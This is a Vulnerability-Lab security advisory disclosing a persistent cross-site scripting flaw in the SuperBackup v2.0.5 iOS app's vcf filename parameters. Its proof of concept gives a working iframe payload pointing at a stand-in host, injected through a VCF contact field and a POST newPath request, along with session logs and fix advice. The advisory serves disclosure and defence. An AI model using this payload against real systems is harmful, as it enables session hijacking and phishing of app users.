SuperBackup 2.0.5 Persistent Cross Site Scripting

SuperBackup version 2.0.5 for iOS suffers from a persistent cross site scripting vulnerability.

MD5 | b38fee9254f243aad26218abafa9c63f

Document Title:
SuperBackup v2.0.5 iOS - (VCF) Persistent XSS Vulnerability

References (Source):

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Vulnerability Class:
Cross Site Scripting - Persistent

Current Estimated Price:
500€ - 1.000€

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(Copy of the Homepage: )

Abstract Advisory Information:
The vulnerability laboratory core research team discovered multiple
persistent cross site web vulnerabilities in the official SuperBackup
v2.0.5 ios mobile application.

Affected Product(s):
Dropouts Technologies LLP
Product: Super Backup v2.0.5

Vulnerability Disclosure Timeline:
2020-04-15: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Exploitation Technique:

Severity Level:

Authentication Type:
Pre auth - no privileges

User Interaction:
Low User Interaction

Disclosure Type:
Independent Security Research

Technical Details & Description:
A persistent cross site scripting web vulnerability has been discovered
in the official SuperBackup v2.0.5 ios mobile application.
The vulnerability allows remote attackers to inject own malicious script
codes with persistent attack vector to compromise the mobile
web-application from the application-side.

The cross site scripting web vulnerabilities are located in the
`newPath`, `oldPath` & `filename` parameters of the vcf listing module.
Remote attackers are able to inject own malicious persistent script
codes as vcf filename to the main index list. The request method to
inject is POST and the attack vector of the vulnerability is located on
the application-side. The injection point is located at the vcf
filename or import. The execution point occurs in the main index list
after the import or insert.

Remote attackers are able to inject own script codes to the client-side
requested vulnerable web-application parameters. The attack
vector of the vulnerability is persistent and the request method to
inject/execute is POST. The vulnerabilities are classic client-side
cross site scripting vulnerabilities. Successful exploitation of the
vulnerability results in session hijacking, persistent phishing
attacks, persistent external redirects to malicious source and
persistent manipulation of affected application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] VCF

Vulnerable Parameter(s):
[+] newPath (path - vcf filename)
[+] oldPath (path - vcf filename)

Proof of Concept (PoC):
The cross site scripting vulnerability can be exploited by remote
attackers without privileged user account and with low user interaction.
For security demonstration or to reproduce the cross site scripting
vulnerability follow the provided information and steps below to continue.

PoC: Payload (Filename)

PoC: Vulnerable Source (Listing - Index)
<button type="button" class="btn btn-default btn-xs button-download">
<span class="glyphicon glyphicon-download-alt"></span>
<td class="column-name"><p class="edit" title="Click to
rename...">Contacts 09:17:12:PM 10:Apr.:2020 .vcf</p></td>
<td class="column-size">
<p>26.40 KB</p>
<td class="column-delete">
<button type="button" class="btn btn-danger btn-xs button-delete">
<span class="glyphicon glyphicon-trash"></span>

PoC: Exception-Handling
Internal Server Error: Failed moving "/Contacts 09:17:12:PM 10:Apr.:2020
to "/Contacts >"<iframe src=evil.source onload=alert("PWND")></iframe>
09:17:12:PM 10:Apr.:2020 .vcf"
Internal Server Error: Failed moving "/Contacts 09:17:12:PM 10:Apr.:2020
to "/Contacts 09:17:12:PM 10:Apr.:2020 >"<iframe src=evil.source
onload=alert("PWND")></iframe> .vcf"
Internal Server Error: Failed moving "/Contacts 09:17:12:PM 10:Apr.:2020
to "/Contacts >"<iframe src=evil.source
onload=alert("PWND")></iframe>09:17:12:PM 10:Apr.:2020 .vcf"

PoC: Exploit
PRODID:-//Apple Inc.//iPhone OS 12.4.5//EN
B:Kunz Mejri ;>"<iframe src=evil.source onload=alert("PWND")></iframe> ;;;

--- PoC Session Logs [POST] ---
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 187
Origin: http://localhost
Connection: keep-alive
Referer: http://localhost/
oldPath=/Contacts 09:17:12:PM 10:Apr.:2020
.vcf&newPath=/evil-filename>"<iframe src=evil.source
POST: HTTP/1.1 500 Internal Server Error
Content-Length: 593
Content-Type: text/html; charset=utf-8
Connection: Close
Server: GCDWebUploader
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://localhost/
GET: HTTP/1.1 200 OK
Server: GCDWebUploader
Connection: Close

Solution - Fix & Patch:
1. Parse and filter the vcf name values next to add, edit or imports to
prevent an execution
2. Restrict and filter in the index listing the vcf names to sanitize
the output

Security Risk:
The security risk of the persistent vcf cross site scripting web
vulnerability is estimated as medium.

Credits & Authors:
Vulnerability-Lab -
Benjamin Kunz Mejri -

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